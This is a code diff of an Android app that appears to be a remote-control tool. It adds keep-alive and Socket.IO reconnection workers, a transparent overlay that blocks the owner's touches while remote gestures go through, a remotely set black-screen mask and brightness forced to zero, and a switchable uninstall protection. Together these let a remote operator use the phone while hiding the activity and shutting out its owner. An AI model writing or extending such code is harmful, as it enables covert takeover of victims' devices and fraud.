alarmManager.setExact(
android.app.AlarmManager.RTC_WAKEUP,
restartTime,
pendingIntent
)
try {
alarmManager.setExactAndAllowWhileIdle(
android.app.AlarmManager.RTC_WAKEUP,
restartTime,
pendingIntent
)
} catch (security: SecurityException) {
Log.w(TAG, "Exact restart alarm denied, fallback to inexact wake alarm", security)
alarmManager.setAndAllowWhileIdle(
android.app.AlarmManager.RTC_WAKEUP,
restartTime,
pendingIntent
)
} catch (e: Exception) {
Log.w(TAG, "Exact restart alarm failed, fallback to inexact wake alarm", e)
alarmManager.setAndAllowWhileIdle(
android.app.AlarmManager.RTC_WAKEUP,
restartTime,
pendingIntent
)
}
Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启")
} catch (e: Exception) {
@@ -646,4 +834,4 @@ class RemoteControlForegroundService : Service() {
override fun onBind(intent: Intent?): IBinder? {
return null
}
}
}

View File

@@ -4,6 +4,8 @@ import android.content.Context
import android.util.Log
import androidx.work.*
import androidx.lifecycle.Observer
import com.hikoncont.util.DeviceDetector
import com.hikoncont.util.ForegroundServiceStarter
import kotlinx.coroutines.delay
import java.util.concurrent.TimeUnit
import com.hikoncont.service.ImmediateRecoveryWorker
@@ -31,6 +33,8 @@ class WorkManagerKeepAliveService {
@Volatile
private var INSTANCE: WorkManagerKeepAliveService? = null
@Volatile
private var lastStartAt: Long = 0L
fun getInstance(): WorkManagerKeepAliveService {
return INSTANCE ?: synchronized(this) {
@@ -47,6 +51,13 @@ class WorkManagerKeepAliveService {
Log.i(TAG, "🚀 启动WorkManager保活服务")
val workManager = WorkManager.getInstance(context)
val now = System.currentTimeMillis()
val cooldownMs = 5_000L
if (now - lastStartAt < cooldownMs) {
Log.i(TAG, "⏳ WorkManager保活处于冷却期跳过重复启动: elapsed=${now - lastStartAt}ms")
return
}
lastStartAt = now
// 1. 启动保活工作
startKeepAliveWork(context, workManager)
@@ -542,6 +553,9 @@ class KeepAliveWorker(
companion object {
private const val TAG = "KeepAliveWorker"
private const val SOCKET_RECOVERY_COOLDOWN_MS = 20_000L
@Volatile
private var lastSocketRecoveryAt = 0L
}
override suspend fun doWork(): Result {
@@ -568,9 +582,14 @@ class KeepAliveWorker(
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务已启动")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = null,
reason = "workmanager_keepalive_worker",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 前台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
@@ -586,6 +605,39 @@ class KeepAliveWorker(
if (!isRunning && isEnabled) {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
return
}
if (isEnabled && isRunning) {
val accessibilityService = com.hikoncont.service.AccessibilityRemoteService.getInstance()
if (accessibilityService == null) {
Log.w(TAG, "⚠️ 无障碍服务标记运行中但实例为空跳过Socket检查")
return
}
val socketConnected = runCatching {
accessibilityService.getSocketIOManager()?.isConnected() ?: false
}.getOrDefault(false)
if (socketConnected) {
Log.d(TAG, "✅ KeepAliveWorker 检测Socket.IO连接正常")
return
}
val now = System.currentTimeMillis()
val elapsed = now - lastSocketRecoveryAt
if (elapsed < SOCKET_RECOVERY_COOLDOWN_MS) {
Log.d(TAG, "⏳ KeepAliveWorker Socket重连冷却中: ${elapsed}ms/${SOCKET_RECOVERY_COOLDOWN_MS}ms")
return
}
lastSocketRecoveryAt = now
Log.w(TAG, "⚠️ KeepAliveWorker 检测Socket.IO断开触发主动连接自愈")
runCatching {
accessibilityService.checkAndStartConnection()
}.onFailure { e ->
Log.e(TAG, "❌ KeepAliveWorker 主动连接自愈失败", e)
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务失败", e)
@@ -760,9 +812,14 @@ class RecoveryWorker(
private suspend fun recoverForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务恢复完成")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = "RESTART_SERVICE",
reason = "workmanager_recovery_worker",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 前台服务恢复逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复前台服务失败", e)
}
@@ -854,9 +911,14 @@ class QuickRecoveryWorker(
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务已启动")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = "RESTART_SERVICE",
reason = "workmanager_quick_recovery_worker",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 前台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动前台服务失败", e)
}
@@ -952,9 +1014,14 @@ class EmergencyRecoveryWorker(
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务紧急启动完成")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = "RESTART_SERVICE",
reason = "workmanager_emergency_worker",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 前台服务紧急启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 紧急启动前台服务失败", e)
}

View File

@@ -57,6 +57,24 @@ class MaskOverlayManager(
Log.e(TAG, "❌ 阻止设备用户输入失败", e)
}
}
/**
* 阻止设备用户输入(透明遮罩)
* 用于 WebRTC 推流时,避免远端画面被黑色遮罩覆盖。
*/
fun blockInputTransparent() {
try {
setAllowAccessibilityOperations(true)
Log.i(TAG, "🫥 启用透明遮罩输入阻止")
inputBlockManager?.blockInputTransparent() ?: run {
Log.w(TAG, "⚠️ InputBlockManager 不支持透明遮罩,回退普通输入阻止")
blockInput()
}
Log.i(TAG, "✅ 透明遮罩模式已启用")
} catch (e: Exception) {
Log.e(TAG, "❌ 启用透明遮罩失败", e)
}
}
/**
* 允许设备用户输入
@@ -94,6 +112,18 @@ class MaskOverlayManager(
Log.e(TAG, "❌ 设置遮罩文字配置失败", e)
}
}
/**
* 设置黑屏遮罩透明度0~255
*/
fun setMaskOverlayAlpha(alpha: Int?) {
try {
inputBlockManager?.setMaskOverlayAlpha(alpha)
Log.d(TAG, "🎚️ 遮罩透明度配置已更新: ${alpha ?: "unchanged"}")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置遮罩透明度失败", e)
}
}
/**
* 设置是否允许AccessibilityService操作
@@ -143,10 +173,11 @@ class MaskOverlayManager(
* 启用纯色遮罩模式(无文字)
* 专用于黑屏遮盖功能显示纯色遮罩Web端可正常操作
*/
fun enableBlackScreenMode() {
fun enableBlackScreenMode(maskAlpha: Int? = null) {
try {
Log.i(TAG, "🖤 启用纯色遮罩模式")
setAllowAccessibilityOperations(true)
setMaskOverlayAlpha(maskAlpha)
inputBlockManager?.blockInputWithoutText() ?: run {
Log.w(TAG, "⚠️ InputBlockManager不支持无文字遮罩使用普通遮罩")
blockInput()
@@ -200,12 +231,15 @@ class MaskOverlayManager(
* Web操作期间的遮罩管理
* 🔑 新策略总是使用performWithBlockControl来临时移除触摸拦截
*/
fun performWithMaskControl(operation: () -> Unit) {
fun performWithMaskControl(operation: () -> Unit, passThroughDurationMs: Long? = null) {
try {
// 🔑 新策略无论什么模式都使用performWithBlockControl
// 这样可以临时移除触摸拦截让Web端操作穿透遮罩
Log.d(TAG, "🔄 执行Web操作临时移除触摸拦截保持遮罩显示")
inputBlockManager?.performWithBlockControl(operation)
val duration = passThroughDurationMs
Log.d(TAG, "🔄 执行Web操作临时移除触摸拦截保持遮罩显示, passThroughMs=${duration ?: "default"}")
if (duration != null) {
inputBlockManager?.performWithBlockControl(operation, duration)
} else {
inputBlockManager?.performWithBlockControl(operation)
}
} catch (e: Exception) {
Log.e(TAG, "❌ Web操作期间遮罩控制失败", e)
}
@@ -241,4 +275,4 @@ class MaskOverlayManager(
"hasBlockView" to false
)
}
}
}

View File

@@ -1,11 +1,13 @@
package com.hikoncont.service.modules
import android.content.Context
import android.content.pm.PackageManager
import android.util.Log
import com.hikoncont.network.SocketIOManager
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
import org.json.JSONObject
import java.io.File
/**
* Network manager - manages Socket.IO connection lifecycle.
@@ -316,7 +318,7 @@ class NetworkManager(
* @return server URL string or null on failure
*/
fun getServerUrl(): String? {
return readServerConfigFromAssets()
return resolveServerUrl()
}
/**
@@ -330,12 +332,65 @@ class NetworkManager(
/**
* Parse server_config.json and extract serverUrl.
*/
private fun resolveServerUrl(): String? {
val assetsUrl = readServerConfigFromAssets()
val internalConfigFile = File(context.filesDir, CONFIG_FILE_SERVER)
val internalUrl = readServerConfigFromInternalStorage()
if (internalUrl.isNullOrBlank()) {
if (!assetsUrl.isNullOrBlank()) {
Log.i(TAG, "Using serverUrl from assets config: $assetsUrl")
}
return assetsUrl
}
if (assetsUrl.isNullOrBlank()) {
Log.i(TAG, "Assets serverUrl missing, using internal config: $internalUrl")
return internalUrl
}
if (internalUrl == assetsUrl) {
return assetsUrl
}
val packageLastUpdateTime = getPackageLastUpdateTime()
val internalLastModified = internalConfigFile.lastModified()
return if (internalLastModified in 1 until packageLastUpdateTime) {
Log.w(
TAG,
"Detected stale internal serverUrl($internalUrl), package config is newer($assetsUrl), using assets"
)
assetsUrl
} else {
Log.i(
TAG,
"Using internal overridden serverUrl: $internalUrl (assets default: $assetsUrl)"
)
internalUrl
}
}
private fun readServerConfigFromInternalStorage(): String? {
return try {
val file = File(context.filesDir, CONFIG_FILE_SERVER)
if (!file.exists()) {
return null
}
val json = JSONObject(file.readText())
val url = json.optString("serverUrl", "").trim()
if (url.isBlank()) null else url
} catch (e: Exception) {
Log.w(TAG, "Failed to read internal $CONFIG_FILE_SERVER: ${e.message}")
null
}
}
private fun readServerConfigFromAssets(): String? {
return try {
val jsonStr = context.assets.open(CONFIG_FILE_SERVER)
.bufferedReader().use { it.readText() }
val json = JSONObject(jsonStr)
val url = json.optString("serverUrl", "")
val url = json.optString("serverUrl", "").trim()
if (url.isBlank()) {
Log.e(TAG, "serverUrl is empty in $CONFIG_FILE_SERVER")
null
@@ -348,6 +403,24 @@ class NetworkManager(
}
}
private fun getPackageLastUpdateTime(): Long {
return try {
val packageInfo = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) {
context.packageManager.getPackageInfo(
context.packageName,
PackageManager.PackageInfoFlags.of(0)
)
} else {
@Suppress("DEPRECATION")
context.packageManager.getPackageInfo(context.packageName, 0)
}
packageInfo.lastUpdateTime
} catch (e: Exception) {
Log.w(TAG, "Failed to read package update time: ${e.message}")
0L
}
}
/**
* Parse server_config.json and extract webUrl.
*/

View File

@@ -13,14 +13,12 @@ class ScreenBrightnessManager(
) {
companion object {
private const val TAG = "ScreenBrightnessManager"
private const val MIN_BRIGHTNESS = 1 // 最低亮度(0是真正的最低值提供最佳黑屏效果
private const val MIN_BRIGHTNESS = 0 // 最低亮度(部分机型可能自动抬升
private const val DEFAULT_BRIGHTNESS = 128 // 默认亮度(中等亮度)
private const val INVALID_BRIGHTNESS = -999 // 无效亮度标志
// 华为设备特殊处理
private const val HUAWEI_MIN_BRIGHTNESS = 1 // 华为设备最低亮度某些华为设备不支持0亮度
// 🔧 新增vivo设备特殊处理 - 使用深色遮盖替代亮度调节
private const val VIVO_USE_DARK_OVERLAY = true // vivo设备使用深色遮盖替代方案
private const val RETRY_COUNT = 3 // 重试次数
private const val RETRY_DELAY = 100L // 重试间隔(毫秒)
@@ -77,7 +75,7 @@ class ScreenBrightnessManager(
if (isVivo) {
Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model")
Log.i(TAG, "📱 vivo设备将使用深色遮盖替代亮度调节方案")
Log.i(TAG, "📱 vivo设备将优先使用系统亮度调节方案")
}
return isVivo
@@ -392,18 +390,9 @@ class ScreenBrightnessManager(
/**
* 启用低亮度模式(用于黑屏遮盖)
* 只有在有WRITE_SETTINGS权限时才执行
* 🔧 vivo设备跳过亮度调节使用深色遮盖替代方案
*/
fun enableLowBrightnessMode(): Boolean {
return try {
// 🔧 vivo设备特殊处理跳过亮度调节使用深色遮盖替代方案
if (isVivoDevice) {
Log.i(TAG, "📱 vivo设备跳过屏幕亮度调节启用深色遮盖替代方案")
isManagingBrightness = true // 标记为已管理状态,确保恢复逻辑正常工作
Log.i(TAG, "✅ vivo设备深色遮盖模式已启用替代亮度调节")
return true
}
if (!hasWriteSettingsPermission()) {
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限无法调整屏幕亮度")
return false
@@ -467,7 +456,6 @@ class ScreenBrightnessManager(
/**
* 恢复原始亮度
* 🔧 vivo设备跳过亮度恢复深色遮盖由遮盖管理器负责移除
*/
fun restoreOriginalBrightness(): Boolean {
return try {
@@ -475,15 +463,7 @@ class ScreenBrightnessManager(
Log.d(TAG, "🔧 亮度管理未启用,跳过恢复操作")
return true
}
// 🔧 vivo设备特殊处理跳过亮度恢复
if (isVivoDevice) {
Log.i(TAG, "📱 vivo设备跳过屏幕亮度恢复深色遮盖已由遮盖管理器移除")
resetBrightnessState() // 重置管理状态
Log.i(TAG, "✅ vivo设备深色遮盖模式已关闭")
return true
}
if (!hasWriteSettingsPermission()) {
Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限无法恢复屏幕亮度")
resetBrightnessState()
@@ -632,9 +612,8 @@ class ScreenBrightnessManager(
"deviceBrand" to deviceBrand,
"deviceManufacturer" to deviceManufacturer,
"huaweiMinBrightness" to if (isHuaweiDevice) HUAWEI_MIN_BRIGHTNESS else "N/A",
"vivoUseDarkOverlay" to if (isVivoDevice) VIVO_USE_DARK_OVERLAY else "N/A",
"brightnessStrategy" to when {
isVivoDevice -> "深色遮盖替代方案"
isVivoDevice -> "vivo高兼容亮度调节"
isHuaweiDevice -> "华为设备重试机制"
else -> "标准亮度调节"
}
@@ -659,4 +638,4 @@ class ScreenBrightnessManager(
Log.e(TAG, "❌ 清理屏幕亮度管理器失败", e)
}
}
}
}

View File

@@ -16,6 +16,7 @@ import androidx.core.app.NotificationCompat
import com.hikoncont.R
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.KeepAliveService
import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -314,7 +315,7 @@ class ServiceLifecycleManager(
*/
private fun registerPermissionRequestReceiver() {
try {
permissionRequestReceiver = object : BroadcastReceiver() {
val receiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
if (intent?.action == "android.mycustrecev.REQUEST_PERMISSION") {
Log.i(TAG, "📢 收到权限申请广播")
@@ -322,9 +323,10 @@ class ServiceLifecycleManager(
}
}
}
permissionRequestReceiver = receiver
val filter = IntentFilter("android.mycustrecev.REQUEST_PERMISSION")
context.registerReceiver(permissionRequestReceiver, filter)
context.registerReceiverCompat(receiver, filter)
Log.d(TAG, "✅ 权限申请广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册权限申请广播接收器失败", e)
@@ -386,4 +388,4 @@ class ServiceLifecycleManager(
* 获取协程作用域
*/
fun getServiceScope(): CoroutineScope = serviceScope
}
}

View File

@@ -2906,19 +2906,7 @@ class WriteSettingsPermissionManager(
service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME)
// 🛡️ 新增WRITE_SETTINGS 完成后自动开启卸载保护直接调用服务公开API
try {
val ars = service as? com.hikoncont.service.AccessibilityRemoteService
if (ars != null) {
Log.i(
TAG,
"🛡️ 自动开启卸载保护 (WRITE_SETTINGS完成后 via enableUninstallProtection)"
)
ars.enableUninstallProtection()
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 自动开启卸载保护失败", e)
}
// 防卸载改为手动开关控制,不在权限完成后自动启用
// 返回应用
returnToApp()

View File

@@ -18,6 +18,7 @@ import android.content.Intent
import android.content.IntentFilter
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.service.modules.ConfigProgressManager
import com.hikoncont.util.registerReceiverCompat
/**
* 基于AccessibilityService的遮盖管理器
@@ -95,7 +96,7 @@ class AccessibilityMaskManager(
if (config.enableProgressBar) {
try {
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
context.registerReceiver(progressReceiver, progressFilter)
context.registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ AccessibilityMaskManager进度更新广播接收器注册成功")
Log.i(TAG, "📡 AccessibilityMaskManager监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
} catch (e: Exception) {
@@ -433,4 +434,4 @@ class AccessibilityMaskManager(
Log.e(TAG, "❌ 更新遮盖文本失败", e)
}
}
}
}

View File

@@ -11,10 +11,6 @@ import android.view.View
import android.view.WindowManager
import android.widget.LinearLayout
import android.widget.TextView
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.launch
/**
* 基于AccessibilityService的输入阻塞管理器
@@ -25,6 +21,18 @@ class InputBlockManager(
) {
companion object {
private const val TAG = "InputBlockManager"
private const val MIN_PASS_THROUGH_MS = 120L
private const val MAX_PASS_THROUGH_MS = 5000L
private const val PRE_OPERATION_TOUCH_PASS_DELAY_MS = 48L
private const val DEFAULT_BLACK_MASK_ALPHA = 220
private const val MIN_BLACK_MASK_ALPHA = 0
private const val MAX_BLACK_MASK_ALPHA = 255
}
private enum class BlockViewMode {
TEXT,
BLACK,
TRANSPARENT
}
/**
@@ -43,9 +51,6 @@ class InputBlockManager(
model.contains("iqoo")
}
// 协程作用域
private val blockScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
// 输入阻塞状态
private var isInputBlocked = false
private var isPerformingWebOperation = false
@@ -58,8 +63,14 @@ class InputBlockManager(
// 阻塞配置
private var blockText = "数据加载中\n请勿操作"
private var blockTextSize = 24f
private var blackMaskAlpha = DEFAULT_BLACK_MASK_ALPHA
private var allowAccessibilityOperations = true // 是否允许AccessibilityService操作
private var operationDelayMs = 10000L // Web操作后的恢复延迟时间(毫秒)
private var operationDelayMs = 1200L // Web操作后的恢复延迟时间(毫秒)
private var blockViewMode = BlockViewMode.TEXT
// 触摸穿透恢复控制(用于远程操作期间短暂放行注入手势)
private var passThroughToken = 0L
private var restoreTouchInterceptRunnable: Runnable? = null
// 主线程Handler
private val mainHandler = Handler(Looper.getMainLooper())
@@ -110,6 +121,25 @@ class InputBlockManager(
Log.e(TAG, "❌ 阻止设备用户输入失败(纯色遮罩)", e)
}
}
/**
* 阻止设备用户输入(透明遮罩)
* 专用于 WebRTC 推流时,避免遮罩被远端画面捕获。
*/
fun blockInputTransparent() {
try {
Log.i(TAG, "🫥 开始阻止设备用户输入(透明遮罩)")
mainHandler.post {
createInputBlockViewTransparent()
isInputBlocked = true
}
Log.i(TAG, "✅ 设备用户输入阻止请求已发送(透明遮罩)")
} catch (e: Exception) {
Log.e(TAG, "❌ 阻止设备用户输入失败(透明遮罩)", e)
}
}
/**
* 允许设备用户输入
@@ -152,7 +182,7 @@ class InputBlockManager(
}
// 如果阻塞正在显示,重新创建以应用新配置
if (isInputBlocked && blockView != null) {
if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.TEXT) {
Log.d(TAG, "🔄 重新创建阻塞视图以应用新配置")
mainHandler.post {
removeInputBlockView()
@@ -164,6 +194,29 @@ class InputBlockManager(
Log.e(TAG, "❌ 设置阻塞文字配置失败", e)
}
}
/**
* 设置黑屏遮罩透明度0~255
*/
fun setMaskOverlayAlpha(alpha: Int?) {
try {
if (alpha == null) return
val normalized = alpha.coerceIn(MIN_BLACK_MASK_ALPHA, MAX_BLACK_MASK_ALPHA)
if (normalized == blackMaskAlpha) return
blackMaskAlpha = normalized
Log.d(TAG, "🎚️ 黑屏遮罩透明度更新为: $blackMaskAlpha")
if (isInputBlocked && blockView != null && blockViewMode == BlockViewMode.BLACK) {
mainHandler.post {
removeInputBlockView()
createInputBlockViewWithoutText()
}
}
} catch (e: Exception) {
Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e)
}
}
/**
* 设置是否允许AccessibilityService操作
@@ -197,7 +250,7 @@ class InputBlockManager(
*/
fun setOperationDelay(delayMs: Long) {
try {
operationDelayMs = delayMs.coerceIn(200L, 15000L) // 限制在200ms-15s之间
operationDelayMs = delayMs.coerceIn(MIN_PASS_THROUGH_MS, 15000L) // 限制在合理范围
Log.d(TAG, "⏱️ Web操作恢复延迟设置为: ${operationDelayMs}ms")
} catch (e: Exception) {
Log.e(TAG, "❌ 设置操作延迟失败", e)
@@ -207,58 +260,75 @@ class InputBlockManager(
// 🔑 智能阻塞模式:不再需要临时移除和恢复方法
// AccessibilityService可以直接穿透FLAG_NOT_TOUCHABLE无需移除遮罩
private fun applyTouchIntercept(intercept: Boolean) {
val params = blockParams ?: return
val wm = windowManager ?: return
val view = blockView ?: return
val oldFlags = params.flags
params.flags = if (intercept) {
oldFlags and WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE.inv()
} else {
oldFlags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
}
try {
wm.updateViewLayout(view, params)
Log.d(TAG, "🔧 遮罩触摸拦截更新: intercept=$intercept, flags=${params.flags}")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 更新遮罩触摸拦截失败: intercept=$intercept", e)
}
}
private fun scheduleRestoreTouchIntercept(token: Long, delayMs: Long) {
restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
val runnable = Runnable {
if (token != passThroughToken) {
return@Runnable
}
if (isInputBlocked && blockView != null) {
applyTouchIntercept(intercept = true)
}
isPerformingWebOperation = false
restoreTouchInterceptRunnable = null
Log.d(TAG, "🔒 远程操作窗口结束,恢复本机触摸拦截")
}
restoreTouchInterceptRunnable = runnable
mainHandler.postDelayed(runnable, delayMs)
}
/**
* Web操作期间的阻塞管理
* 🔑 最新策略保持遮罩显示但临时移除触摸拦截让Web端操作穿透
* 策略: 默认保持本机触摸拦截;远程手势期间短暂切换为 NOT_TOUCHABLE 放行注入,完成后自动恢复拦截。
*/
fun performWithBlockControl(operation: () -> Unit) {
fun performWithBlockControl(operation: () -> Unit, passThroughDurationMs: Long = operationDelayMs) {
try {
if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
// 🔑 新策略临时修改窗口参数添加FLAG_NOT_TOUCHABLE让触摸穿透
Log.d(TAG, "⏰ 临时修改窗口参数以允许Web端操作穿透保持遮罩显示")
isPerformingWebOperation = true
// 🔑 重要所有WindowManager操作必须在主线程中执行
if (isInputBlocked &&
blockView != null &&
windowManager != null &&
blockParams != null &&
allowAccessibilityOperations
) {
val effectiveDuration = passThroughDurationMs.coerceIn(MIN_PASS_THROUGH_MS, MAX_PASS_THROUGH_MS)
mainHandler.post {
try {
// 临时添加FLAG_NOT_TOUCHABLE让触摸事件穿透窗口
val tempParams = WindowManager.LayoutParams().apply {
copyFrom(blockParams)
flags = flags or WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
passThroughToken = System.currentTimeMillis()
val token = passThroughToken
isPerformingWebOperation = true
applyTouchIntercept(intercept = false)
mainHandler.postDelayed({
if (token != passThroughToken) {
Log.d(TAG, "⏭️ 跳过过期的远程操作窗口 token=$token")
return@postDelayed
}
windowManager?.updateViewLayout(blockView, tempParams)
Log.d(TAG, "✅ 窗口已设置为触摸穿透模式")
// 在主线程中执行操作
operation()
// 延迟恢复窗口参数
// 🔑 使用较长延迟确保AccessibilityService操作完全完成
// 包括:命令传递 → 系统处理 → 触摸事件注入 → 应用响应
mainHandler.postDelayed({
if (isInputBlocked && blockView != null && windowManager != null && blockParams != null) {
try {
// 恢复原始窗口参数,重新阻止物理触摸
windowManager?.updateViewLayout(blockView, blockParams)
Log.d(TAG, "🔄 恢复窗口阻塞模式")
} catch (e: Exception) {
Log.e(TAG, "❌ 恢复窗口参数失败", e)
}
}
isPerformingWebOperation = false
}, operationDelayMs) // 可配置延迟确保AccessibilityService操作完成
} catch (e: Exception) {
Log.e(TAG, "❌ 更新窗口参数失败", e)
// 如果更新失败,仍然执行操作
operation()
isPerformingWebOperation = false
}
try {
operation()
} catch (e: Exception) {
Log.e(TAG, "❌ 远程操作执行失败", e)
} finally {
scheduleRestoreTouchIntercept(token, effectiveDuration)
}
}, PRE_OPERATION_TOUCH_PASS_DELAY_MS)
}
} else {
// 没有遮罩时直接执行
Log.d(TAG, "🔄 直接执行操作(无遮罩状态)")
Log.d(TAG, "🔄 直接执行操作(无遮罩或不允许远程放行)")
operation()
}
} catch (e: Exception) {
@@ -287,6 +357,7 @@ class InputBlockManager(
// 添加到WindowManager
windowManager?.addView(blockView, blockParams)
blockViewMode = BlockViewMode.TEXT
Log.i(TAG, "✅ 输入阻塞视图已激活 - 智能阻塞模式阻止手机端物理操作允许Web端远程操作")
@@ -317,6 +388,7 @@ class InputBlockManager(
// 添加到WindowManager
windowManager?.addView(blockView, blockParams)
blockViewMode = BlockViewMode.BLACK
Log.i(TAG, "✅ 纯色遮罩视图已激活 - 智能阻塞模式阻止手机端物理操作允许Web端远程操作")
@@ -326,6 +398,30 @@ class InputBlockManager(
blockView = null
}
}
/**
* 创建输入阻塞视图(透明版本)
*/
private fun createInputBlockViewTransparent() {
try {
Log.i(TAG, "🫥 开始创建透明遮罩视图")
if (blockView != null) {
Log.d(TAG, "🔄 阻塞视图已存在,先移除")
removeInputBlockView()
}
blockView = createTransparentBlockView()
blockParams = createBlockWindowLayoutParams()
windowManager?.addView(blockView, blockParams)
blockViewMode = BlockViewMode.TRANSPARENT
Log.i(TAG, "✅ 透明遮罩视图已激活 - 拦截本机触摸,不影响远端画面")
} catch (e: Exception) {
Log.e(TAG, "❌ 创建透明遮罩视图失败", e)
blockView = null
}
}
/**
* 移除输入阻塞视图
@@ -339,8 +435,11 @@ class InputBlockManager(
blockView = null
Log.d(TAG, "🗑️ 输入阻塞视图已移除")
}
restoreTouchInterceptRunnable?.let { mainHandler.removeCallbacks(it) }
restoreTouchInterceptRunnable = null
blockParams = null
isPerformingWebOperation = false
blockViewMode = BlockViewMode.TEXT
Log.i(TAG, "✅ 输入阻塞已移除,设备输入已恢复")
@@ -396,8 +495,7 @@ class InputBlockManager(
// - 通过动态设置/移除OnTouchListener来控制触摸拦截
// - Web端操作时临时移除OnTouchListener让触摸穿透到底层应用
// - 操作完成后恢复OnTouchListener继续阻止物理触摸
setOnTouchListener { _, event ->
Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
setOnTouchListener { _, _ ->
true // 拦截并消费所有触摸事件
}
}
@@ -412,14 +510,8 @@ class InputBlockManager(
private fun createBlockViewWithoutText(): View {
Log.d(TAG, "🖤 创建纯色遮罩视图")
// 🔧 vivo设备检测
val isVivoDevice = isVivoDevice()
val backgroundColor = if (isVivoDevice) {
Log.d(TAG, "📱 vivo设备使用深色遮盖替代亮度调节")
Color.argb(255, 0, 0, 0) // vivo设备极深色遮盖96%不透明度)
} else {
Color.argb(190, 0, 0, 0) // 其他设备:半透明黑色
}
// 黑屏遮罩透明度可由 Web 端控制0~255
val backgroundColor = Color.argb(blackMaskAlpha, 0, 0, 0)
val blockView = View(context).apply {
setBackgroundColor(backgroundColor)
@@ -437,8 +529,7 @@ class InputBlockManager(
android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
// 🔑 智能阻塞方案:拦截所有触摸事件
setOnTouchListener { _, event ->
Log.d(TAG, "🚫 阻止手机端物理触摸: ${event.action}")
setOnTouchListener { _, _ ->
true // 拦截并消费所有触摸事件
}
}
@@ -446,6 +537,33 @@ class InputBlockManager(
Log.d(TAG, "✅ 纯色遮罩视图创建完成")
return blockView
}
/**
* 创建透明阻塞视图(仅拦截触摸)
*/
private fun createTransparentBlockView(): View {
Log.d(TAG, "🫥 创建透明阻塞视图")
val transparentView = View(context).apply {
setBackgroundColor(Color.TRANSPARENT)
layoutParams = android.view.ViewGroup.LayoutParams(
android.view.ViewGroup.LayoutParams.MATCH_PARENT,
android.view.ViewGroup.LayoutParams.MATCH_PARENT
)
@Suppress("DEPRECATION")
systemUiVisibility = (android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
android.view.View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
android.view.View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN)
setOnTouchListener { _, _ ->
true
}
}
Log.d(TAG, "✅ 透明阻塞视图创建完成")
return transparentView
}
/**
* 创建窗口布局参数
@@ -533,10 +651,12 @@ class InputBlockManager(
return mapOf(
"text" to blockText,
"textSize" to blockTextSize,
"maskAlpha" to blackMaskAlpha,
"isBlocked" to isInputBlocked,
"isWebOperation" to isPerformingWebOperation,
"hasBlockView" to (blockView != null),
"allowAccessibilityOperations" to allowAccessibilityOperations
"allowAccessibilityOperations" to allowAccessibilityOperations,
